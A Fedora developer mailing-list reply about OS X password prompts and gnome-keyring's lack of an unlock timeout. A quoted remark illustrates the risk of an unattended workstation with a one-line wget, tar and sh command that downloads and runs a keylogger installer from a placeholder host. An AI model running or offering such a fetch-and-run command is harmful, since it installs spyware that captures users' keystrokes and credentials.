On Mon, 20 Aug 2007 13:26:35 -0400 "Colin Walters" <walters@xxxxxxxxxx> wrote: > That is interesting; I honestly haven't used OS X at all. Does OS X > also have a password on your account by default, or did you have to > explicitly set one? That part is a bit fuzzy, but yes, I do believe when I created the user I had to supply a password, and confirm it. It may allow login without password, but it would still prompt for the password whenever you needed to do something "systemy". > Does gnome-keyring have a sensible timeout? If I left my workstation > > for a period of time and forgot to enable the screensaver, can > > anybody access my keyring contents, or cause something to be > > authenticated via my keyring? > > > Unrelated but - in my opinion gnome-keyring adds very little in terms > of security to this scenario. > > wget http://my.favorite.keylogger.example.com/linux-x86.tgz && tar > xzvf *.tgz && sh keylogger/install.sh This was just more a general question. OS X has a timeout on that password prompt I think (or else they just ask it every time for every new app). I was thinking of how gnome-keyring could be used to manage these prompts, but not if it is once unlocked always unlocked. -- Jesse Keating Fedora -- All my bits are free, are yours?
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